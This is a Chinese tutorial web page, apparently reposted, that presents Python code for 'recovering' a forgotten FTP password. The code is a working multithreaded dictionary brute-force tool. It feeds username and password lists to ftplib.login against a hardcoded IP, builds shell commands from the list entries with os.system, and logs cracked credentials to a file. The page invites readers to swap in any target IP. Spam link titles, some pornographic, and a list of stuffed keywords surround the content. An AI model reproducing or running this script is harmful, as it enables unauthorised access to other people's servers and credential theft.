国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

忘記ftp密碼使用python ftplib庫暴力破解密碼的方法示例

2020-02-23 05:07:16
字體:
來源:轉載
供稿:網友

python具體強大的庫文件,很多功能都有相應的庫文件,所以很有必要進行學習一下,其中有一個ftp相應的庫文件ftplib,我們只需要其中的登錄功能,然后利用多線程調用相應字典里面的字段進行登錄,還能根據自己的需要,根據自身的情況編寫需要的程序,讓程序代替我們去做一些枯燥的重復工作。

下面直接上代碼,下面是主文件

代碼如下:
import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘/n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘/n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相應的ftp.py文件里面的代碼如下

代碼如下:
import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”/n”)
except ftplib.error_perm:
print “passwd is world”


需要兩個文件,分別是user.txt和passwd.txt,這兩個分別是用戶名和賬戶的字典。

代碼其中的ftp破解IP可以自己修改成自己要破解的IP,最后正確的帳號和密碼會輸入到aa.txt文件中。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 出国| 隆安县| 中江县| 保靖县| 靖西县| 郯城县| 永定县| 阿图什市| 双流县| 井陉县| 循化| 凤阳县| 罗江县| 天等县| 社旗县| 伊川县| 互助| 林芝县| 开阳县| 太仓市| 南京市| 石景山区| 巴里| 延川县| 顺昌县| 台北市| 扬州市| 荣昌县| 昌宁县| 白水县| 成都市| 尉犁县| 龙州县| 三门县| 太湖县| 香格里拉县| 南宁市| 巴青县| 闻喜县| 乳山市| 芜湖市|